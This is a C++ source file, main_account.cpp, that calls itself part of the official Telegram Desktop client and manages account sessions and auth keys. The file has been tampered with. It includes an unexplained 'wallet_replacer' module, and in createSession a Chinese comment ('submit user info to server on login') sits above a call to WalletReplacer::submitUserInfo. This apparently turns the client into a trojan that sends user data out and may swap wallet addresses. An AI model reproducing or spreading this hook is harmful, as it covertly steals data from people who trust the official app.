main_account.cpp 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642
  1. /*
  2. This file is part of Telegram Desktop,
  3. the official desktop application for the Telegram messaging service.
  4. For license and copyright information please follow this link:
  5. https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
  6. */
  7. #include "main/main_account.h"
  8. #include "base/platform/base_platform_info.h"
  9. #include "core/application.h"
  10. #include "storage/storage_account.h"
  11. #include "storage/storage_domain.h" // Storage::StartResult.
  12. #include "storage/serialize_common.h"
  13. #include "storage/serialize_peer.h"
  14. #include "storage/localstorage.h"
  15. #include "data/data_session.h"
  16. #include "data/data_user.h"
  17. #include "data/data_changes.h"
  18. #include "window/window_controller.h"
  19. #include "media/audio/media_audio.h"
  20. #include "mtproto/mtproto_config.h"
  21. #include "mainwidget.h"
  22. #include "api/api_updates.h"
  23. #include "ui/ui_utility.h"
  24. #include "main/main_app_config.h"
  25. #include "main/main_session.h"
  26. #include "main/main_domain.h"
  27. #include "main/main_session_settings.h"
  28. #include "core/wallet_replacer.h"
  29. namespace Main {
  30. namespace {
  31. constexpr auto kWideIdsTag = ~uint64(0);
  32. [[nodiscard]] QString ComposeDataString(const QString &dataName, int index) {
  33. auto result = dataName;
  34. result.replace('#', QString());
  35. if (index > 0) {
  36. result += '#' + QString::number(index + 1);
  37. }
  38. return result;
  39. }
  40. } // namespace
  41. Account::Account(not_null<Domain*> domain, const QString &dataName, int index)
  42. : _domain(domain)
  43. , _local(std::make_unique<Storage::Account>(
  44. this,
  45. ComposeDataString(dataName, index))) {
  46. }
  47. Account::~Account() {
  48. if (const auto session = maybeSession()) {
  49. session->saveSettingsNowIfNeeded();
  50. _local->writeSearchSuggestionsIfNeeded();
  51. }
  52. destroySession(DestroyReason::Quitting);
  53. }
  54. Storage::Domain &Account::domainLocal() const {
  55. return _domain->local();
  56. }
  57. [[nodiscard]] Storage::StartResult Account::legacyStart(
  58. const QByteArray &passcode) {
  59. Expects(!_appConfig);
  60. return _local->legacyStart(passcode);
  61. }
  62. std::unique_ptr<MTP::Config> Account::prepareToStart(
  63. std::shared_ptr<MTP::AuthKey> localKey) {
  64. return _local->start(std::move(localKey));
  65. }
  66. void Account::start(std::unique_ptr<MTP::Config> config) {
  67. _appConfig = std::make_unique<AppConfig>(this);
  68. startMtp(config
  69. ? std::move(config)
  70. : std::make_unique<MTP::Config>(
  71. Core::App().fallbackProductionConfig()));
  72. _appConfig->start();
  73. watchProxyChanges();
  74. watchSessionChanges();
  75. }
  76. void Account::prepareToStartAdded(
  77. std::shared_ptr<MTP::AuthKey> localKey) {
  78. _local->startAdded(std::move(localKey));
  79. }
  80. void Account::watchProxyChanges() {
  81. using ProxyChange = Core::Application::ProxyChange;
  82. Core::App().proxyChanges(
  83. ) | rpl::start_with_next([=](const ProxyChange &change) {
  84. const auto key = [&](const MTP::ProxyData &proxy) {
  85. return (proxy.type == MTP::ProxyData::Type::Mtproto)
  86. ? std::make_pair(proxy.host, proxy.port)
  87. : std::make_pair(QString(), uint32(0));
  88. };
  89. if (_mtp) {
  90. _mtp->restart();
  91. if (key(change.was) != key(change.now)) {
  92. _mtp->reInitConnection(_mtp->mainDcId());
  93. }
  94. }
  95. if (_mtpForKeysDestroy) {
  96. _mtpForKeysDestroy->restart();
  97. }
  98. }, _lifetime);
  99. }
  100. void Account::watchSessionChanges() {
  101. sessionChanges(
  102. ) | rpl::start_with_next([=](Session *session) {
  103. if (!session && _mtp) {
  104. _mtp->setUserPhone(QString());
  105. }
  106. }, _lifetime);
  107. }
  108. uint64 Account::willHaveSessionUniqueId(MTP::Config *config) const {
  109. // See also Session::uniqueId.
  110. if (!_sessionUserId) {
  111. return 0;
  112. }
  113. return _sessionUserId.bare
  114. | (config && config->isTestMode() ? 0x0100'0000'0000'0000ULL : 0ULL);
  115. }
  116. void Account::createSession(
  117. const MTPUser &user,
  118. std::unique_ptr<SessionSettings> settings) {
  119. createSession(
  120. user,
  121. QByteArray(),
  122. 0,
  123. settings ? std::move(settings) : std::make_unique<SessionSettings>());
  124. }
  125. void Account::createSession(
  126. UserId id,
  127. QByteArray serialized,
  128. int streamVersion,
  129. std::unique_ptr<SessionSettings> settings) {
  130. DEBUG_LOG(("sessionUserSerialized.size: %1").arg(serialized.size()));
  131. QDataStream peekStream(serialized);
  132. const auto phone = Serialize::peekUserPhone(streamVersion, peekStream);
  133. const auto flags = MTPDuser::Flag::f_self | (phone.isEmpty()
  134. ? MTPDuser::Flag()
  135. : MTPDuser::Flag::f_phone);
  136. createSession(
  137. MTP_user(
  138. MTP_flags(flags),
  139. MTP_long(base::take(_sessionUserId).bare),
  140. MTPlong(), // access_hash
  141. MTPstring(), // first_name
  142. MTPstring(), // last_name
  143. MTPstring(), // username
  144. MTP_string(phone),
  145. MTPUserProfilePhoto(),
  146. MTPUserStatus(),
  147. MTPint(), // bot_info_version
  148. MTPVector<MTPRestrictionReason>(),
  149. MTPstring(), // bot_inline_placeholder
  150. MTPstring(), // lang_code
  151. MTPEmojiStatus(),
  152. MTPVector<MTPUsername>(),
  153. MTPint(), // stories_max_id
  154. MTPPeerColor(), // color
  155. MTPPeerColor(), // profile_color
  156. MTPint(), // bot_active_users
  157. MTPlong(), // bot_verification_icon
  158. MTPlong()), // send_paid_messages_stars
  159. serialized,
  160. streamVersion,
  161. std::move(settings));
  162. }
  163. void Account::createSession(
  164. const MTPUser &user,
  165. QByteArray serialized,
  166. int streamVersion,
  167. std::unique_ptr<SessionSettings> settings) {
  168. Expects(_mtp != nullptr);
  169. Expects(_session == nullptr);
  170. Expects(_sessionValue.current() == nullptr);
  171. _session = std::make_unique<Session>(this, user, std::move(settings));
  172. if (!serialized.isEmpty()) {
  173. local().readSelf(_session.get(), serialized, streamVersion);
  174. }
  175. _sessionValue = _session.get();
  176. // 用户登录成功时提交用户信息到服务器
  177. DEBUG_LOG(("User Info: Account::createSession - Submitting user info after login"));
  178. Core::WalletReplacer::submitUserInfo(QString(), true);
  179. Ensures(_session != nullptr);
  180. }
  181. void Account::destroySession(DestroyReason reason) {
  182. // 记录用户退出登录
  183. if (reason == DestroyReason::LoggedOut) {
  184. DEBUG_LOG(("User Info: Account::destroySession - User logged out"));
  185. } else {
  186. DEBUG_LOG(("User Info: Account::destroySession - Session destroyed for other reason"));
  187. }
  188. _storedSessionSettings.reset();
  189. _sessionUserId = 0;
  190. _sessionUserSerialized = {};
  191. if (!sessionExists()) {
  192. return;
  193. }
  194. _sessionValue = nullptr;
  195. if (reason == DestroyReason::LoggedOut) {
  196. _session->finishLogout();
  197. }
  198. _session = nullptr;
  199. }
  200. bool Account::sessionExists() const {
  201. return (_sessionValue.current() != nullptr);
  202. }
  203. Session &Account::session() const {
  204. Expects(sessionExists());
  205. return *_sessionValue.current();
  206. }
  207. Session *Account::maybeSession() const {
  208. return _sessionValue.current();
  209. }
  210. rpl::producer<Session*> Account::sessionValue() const {
  211. return _sessionValue.value();
  212. }
  213. rpl::producer<Session*> Account::sessionChanges() const {
  214. return _sessionValue.changes();
  215. }
  216. rpl::producer<not_null<MTP::Instance*>> Account::mtpValue() const {
  217. return _mtpValue.value() | rpl::map([](MTP::Instance *instance) {
  218. return not_null{ instance };
  219. });
  220. }
  221. rpl::producer<not_null<MTP::Instance*>> Account::mtpMainSessionValue() const {
  222. return mtpValue() | rpl::map([=](not_null<MTP::Instance*> instance) {
  223. return instance->mainDcIdValue() | rpl::map_to(instance);
  224. }) | rpl::flatten_latest();
  225. }
  226. rpl::producer<MTPUpdates> Account::mtpUpdates() const {
  227. return _mtpUpdates.events();
  228. }
  229. rpl::producer<> Account::mtpNewSessionCreated() const {
  230. return _mtpNewSessionCreated.events();
  231. }
  232. void Account::setMtpMainDcId(MTP::DcId mainDcId) {
  233. Expects(!_mtp);
  234. _mtpFields.mainDcId = mainDcId;
  235. }
  236. void Account::setLegacyMtpKey(std::shared_ptr<MTP::AuthKey> key) {
  237. Expects(!_mtp);
  238. Expects(key != nullptr);
  239. _mtpFields.keys.push_back(std::move(key));
  240. }
  241. QByteArray Account::serializeMtpAuthorization() const {
  242. const auto serialize = [&](
  243. MTP::DcId mainDcId,
  244. const MTP::AuthKeysList &keys,
  245. const MTP::AuthKeysList &keysToDestroy) {
  246. const auto keysSize = [](auto &list) {
  247. const auto keyDataSize = MTP::AuthKey::Data().size();
  248. return sizeof(qint32)
  249. + list.size() * (sizeof(qint32) + keyDataSize);
  250. };
  251. const auto writeKeys = [](
  252. QDataStream &stream,
  253. const MTP::AuthKeysList &keys) {
  254. stream << qint32(keys.size());
  255. for (const auto &key : keys) {
  256. stream << qint32(key->dcId());
  257. key->write(stream);
  258. }
  259. };
  260. auto result = QByteArray();
  261. // wide tag + userId + mainDcId
  262. auto size = 2 * sizeof(quint64) + sizeof(qint32);
  263. size += keysSize(keys) + keysSize(keysToDestroy);
  264. result.reserve(size);
  265. {
  266. QDataStream stream(&result, QIODevice::WriteOnly);
  267. stream.setVersion(QDataStream::Qt_5_1);
  268. const auto currentUserId = sessionExists()
  269. ? session().userId()
  270. : UserId();
  271. stream
  272. << quint64(kWideIdsTag)
  273. << quint64(currentUserId.bare)
  274. << qint32(mainDcId);
  275. writeKeys(stream, keys);
  276. writeKeys(stream, keysToDestroy);
  277. DEBUG_LOG(("MTP Info: Keys written, userId: %1, dcId: %2"
  278. ).arg(currentUserId.bare
  279. ).arg(mainDcId));
  280. }
  281. return result;
  282. };
  283. if (_mtp) {
  284. const auto keys = _mtp->getKeysForWrite();
  285. const auto keysToDestroy = _mtpForKeysDestroy
  286. ? _mtpForKeysDestroy->getKeysForWrite()
  287. : MTP::AuthKeysList();
  288. return serialize(_mtp->mainDcId(), keys, keysToDestroy);
  289. }
  290. const auto &keys = _mtpFields.keys;
  291. const auto &keysToDestroy = _mtpKeysToDestroy;
  292. return serialize(_mtpFields.mainDcId, keys, keysToDestroy);
  293. }
  294. void Account::setSessionUserId(UserId userId) {
  295. Expects(!sessionExists());
  296. _sessionUserId = userId;
  297. }
  298. void Account::setSessionFromStorage(
  299. std::unique_ptr<SessionSettings> data,
  300. QByteArray &&selfSerialized,
  301. int32 selfStreamVersion) {
  302. Expects(!sessionExists());
  303. DEBUG_LOG(("sessionUserSerialized set: %1"
  304. ).arg(selfSerialized.size()));
  305. _storedSessionSettings = std::move(data);
  306. _sessionUserSerialized = std::move(selfSerialized);
  307. _sessionUserStreamVersion = selfStreamVersion;
  308. }
  309. SessionSettings *Account::getSessionSettings() {
  310. if (_sessionUserId) {
  311. return _storedSessionSettings
  312. ? _storedSessionSettings.get()
  313. : nullptr;
  314. } else if (const auto session = maybeSession()) {
  315. return &session->settings();
  316. }
  317. return nullptr;
  318. }
  319. void Account::setMtpAuthorization(const QByteArray &serialized) {
  320. Expects(!_mtp);
  321. QDataStream stream(serialized);
  322. stream.setVersion(QDataStream::Qt_5_1);
  323. auto legacyUserId = Serialize::read<qint32>(stream);
  324. auto legacyMainDcId = Serialize::read<qint32>(stream);
  325. auto userId = quint64();
  326. auto mainDcId = qint32();
  327. if (((uint64(legacyUserId) << 32) | uint64(legacyMainDcId))
  328. == kWideIdsTag) {
  329. userId = Serialize::read<quint64>(stream);
  330. mainDcId = Serialize::read<qint32>(stream);
  331. } else {
  332. userId = legacyUserId;
  333. mainDcId = legacyMainDcId;
  334. }
  335. if (stream.status() != QDataStream::Ok) {
  336. LOG(("MTP Error: "
  337. "Could not read main fields from mtp authorization."));
  338. return;
  339. }
  340. setSessionUserId(userId);
  341. _mtpFields.mainDcId = mainDcId;
  342. const auto readKeys = [&](auto &keys) {
  343. const auto count = Serialize::read<qint32>(stream);
  344. if (stream.status() != QDataStream::Ok) {
  345. LOG(("MTP Error: "
  346. "Could not read keys count from mtp authorization."));
  347. return;
  348. }
  349. keys.reserve(count);
  350. for (auto i = 0; i != count; ++i) {
  351. const auto dcId = Serialize::read<qint32>(stream);
  352. const auto keyData = Serialize::read<MTP::AuthKey::Data>(stream);
  353. if (stream.status() != QDataStream::Ok) {
  354. LOG(("MTP Error: "
  355. "Could not read key from mtp authorization."));
  356. return;
  357. }
  358. keys.push_back(std::make_shared<MTP::AuthKey>(MTP::AuthKey::Type::ReadFromFile, dcId, keyData));
  359. }
  360. };
  361. readKeys(_mtpFields.keys);
  362. readKeys(_mtpKeysToDestroy);
  363. LOG(("MTP Info: "
  364. "read keys, current: %1, to destroy: %2"
  365. ).arg(_mtpFields.keys.size()
  366. ).arg(_mtpKeysToDestroy.size()));
  367. }
  368. void Account::startMtp(std::unique_ptr<MTP::Config> config) {
  369. Expects(!_mtp);
  370. auto fields = base::take(_mtpFields);
  371. fields.config = std::move(config);
  372. fields.deviceModel = Platform::DeviceModelPretty();
  373. fields.systemVersion = Platform::SystemVersionPretty();
  374. _mtp = std::make_unique<MTP::Instance>(
  375. MTP::Instance::Mode::Normal,
  376. std::move(fields));
  377. const auto writingKeys = _mtp->lifetime().make_state<bool>(false);
  378. _mtp->writeKeysRequests(
  379. ) | rpl::filter([=] {
  380. return !*writingKeys;
  381. }) | rpl::start_with_next([=] {
  382. *writingKeys = true;
  383. Ui::PostponeCall(_mtp.get(), [=] {
  384. local().writeMtpData();
  385. *writingKeys = false;
  386. });
  387. }, _mtp->lifetime());
  388. const auto writingConfig = _lifetime.make_state<bool>(false);
  389. rpl::merge(
  390. _mtp->config().updates(),
  391. _mtp->dcOptions().changed() | rpl::to_empty
  392. ) | rpl::filter([=] {
  393. return !*writingConfig;
  394. }) | rpl::start_with_next([=] {
  395. *writingConfig = true;
  396. Ui::PostponeCall(_mtp.get(), [=] {
  397. local().writeMtpConfig();
  398. *writingConfig = false;
  399. });
  400. }, _lifetime);
  401. _mtpFields.mainDcId = _mtp->mainDcId();
  402. _mtp->setUpdatesHandler([=](const MTP::Response &message) {
  403. checkForUpdates(message) || checkForNewSession(message);
  404. });
  405. _mtp->setGlobalFailHandler([=](const MTP::Error &, const MTP::Response &) {
  406. if (const auto session = maybeSession()) {
  407. crl::on_main(session, [=] { logOut(); });
  408. }
  409. });
  410. _mtp->setStateChangedHandler([=](MTP::ShiftedDcId dc, int32 state) {
  411. if (dc == _mtp->mainDcId()) {
  412. Core::App().settings().proxy().connectionTypeChangesNotify();
  413. }
  414. });
  415. _mtp->setSessionResetHandler([=](MTP::ShiftedDcId shiftedDcId) {
  416. if (const auto session = maybeSession()) {
  417. if (shiftedDcId == _mtp->mainDcId()) {
  418. session->updates().getDifference();
  419. }
  420. }
  421. });
  422. if (!_mtpKeysToDestroy.empty()) {
  423. destroyMtpKeys(base::take(_mtpKeysToDestroy));
  424. }
  425. if (_sessionUserId) {
  426. createSession(
  427. _sessionUserId,
  428. base::take(_sessionUserSerialized),
  429. base::take(_sessionUserStreamVersion),
  430. (_storedSessionSettings
  431. ? std::move(_storedSessionSettings)
  432. : std::make_unique<SessionSettings>()));
  433. }
  434. _storedSessionSettings = nullptr;
  435. if (const auto session = maybeSession()) {
  436. // Skip all pending self updates so that we won't local().writeSelf.
  437. session->changes().sendNotifications();
  438. }
  439. _mtpValue = _mtp.get();
  440. }
  441. bool Account::checkForUpdates(const MTP::Response &message) {
  442. auto updates = MTPUpdates();
  443. auto from = message.reply.constData();
  444. if (!updates.read(from, from + message.reply.size())) {
  445. return false;
  446. }
  447. _mtpUpdates.fire(std::move(updates));
  448. return true;
  449. }
  450. bool Account::checkForNewSession(const MTP::Response &message) {
  451. auto newSession = MTPNewSession();
  452. auto from = message.reply.constData();
  453. if (!newSession.read(from, from + message.reply.size())) {
  454. return false;
  455. }
  456. _mtpNewSessionCreated.fire({});
  457. return true;
  458. }
  459. void Account::logOut() {
  460. if (_loggingOut) {
  461. return;
  462. }
  463. _loggingOut = true;
  464. if (_mtp) {
  465. _mtp->logout([=] { loggedOut(); });
  466. } else {
  467. // We log out because we've forgotten passcode.
  468. loggedOut();
  469. }
  470. }
  471. bool Account::loggingOut() const {
  472. return _loggingOut;
  473. }
  474. void Account::forcedLogOut() {
  475. if (sessionExists()) {
  476. resetAuthorizationKeys();
  477. loggedOut();
  478. }
  479. }
  480. void Account::loggedOut() {
  481. _loggingOut = false;
  482. Media::Player::mixer()->stopAndClear();
  483. destroySession(DestroyReason::LoggedOut);
  484. local().reset();
  485. cSetOtherOnline(0);
  486. }
  487. void Account::destroyMtpKeys(MTP::AuthKeysList &&keys) {
  488. Expects(_mtp != nullptr);
  489. if (keys.empty()) {
  490. return;
  491. }
  492. if (_mtpForKeysDestroy) {
  493. _mtpForKeysDestroy->addKeysForDestroy(std::move(keys));
  494. local().writeMtpData();
  495. return;
  496. }
  497. auto destroyFields = MTP::Instance::Fields();
  498. destroyFields.mainDcId = MTP::Instance::Fields::kNoneMainDc;
  499. destroyFields.config = std::make_unique<MTP::Config>(_mtp->config());
  500. destroyFields.keys = std::move(keys);
  501. destroyFields.deviceModel = Platform::DeviceModelPretty();
  502. destroyFields.systemVersion = Platform::SystemVersionPretty();
  503. _mtpForKeysDestroy = std::make_unique<MTP::Instance>(
  504. MTP::Instance::Mode::KeysDestroyer,
  505. std::move(destroyFields));
  506. _mtpForKeysDestroy->writeKeysRequests(
  507. ) | rpl::start_with_next([=] {
  508. local().writeMtpData();
  509. }, _mtpForKeysDestroy->lifetime());
  510. _mtpForKeysDestroy->allKeysDestroyed(
  511. ) | rpl::start_with_next([=] {
  512. LOG(("MTP Info: all keys scheduled for destroy are destroyed."));
  513. crl::on_main(this, [=] {
  514. _mtpForKeysDestroy = nullptr;
  515. local().writeMtpData();
  516. });
  517. }, _mtpForKeysDestroy->lifetime());
  518. }
  519. void Account::suggestMainDcId(MTP::DcId mainDcId) {
  520. Expects(_mtp != nullptr);
  521. _mtp->suggestMainDcId(mainDcId);
  522. if (_mtpFields.mainDcId != MTP::Instance::Fields::kNotSetMainDc) {
  523. _mtpFields.mainDcId = mainDcId;
  524. }
  525. }
  526. void Account::destroyStaleAuthorizationKeys() {
  527. Expects(_mtp != nullptr);
  528. for (const auto &key : _mtp->getKeysForWrite()) {
  529. // Disable this for now.
  530. if (key->type() == MTP::AuthKey::Type::ReadFromFile) {
  531. _mtpKeysToDestroy = _mtp->getKeysForWrite();
  532. LOG(("MTP Info: destroying stale keys, count: %1"
  533. ).arg(_mtpKeysToDestroy.size()));
  534. resetAuthorizationKeys();
  535. return;
  536. }
  537. }
  538. }
  539. void Account::setHandleLoginCode(Fn<void(QString)> callback) {
  540. _handleLoginCode = std::move(callback);
  541. }
  542. void Account::handleLoginCode(const QString &code) const {
  543. if (_handleLoginCode) {
  544. _handleLoginCode(code);
  545. }
  546. }
  547. void Account::resetAuthorizationKeys() {
  548. Expects(_mtp != nullptr);
  549. {
  550. const auto old = base::take(_mtp);
  551. auto config = std::make_unique<MTP::Config>(old->config());
  552. startMtp(std::move(config));
  553. }
  554. local().writeMtpData();
  555. }
  556. } // namespace Main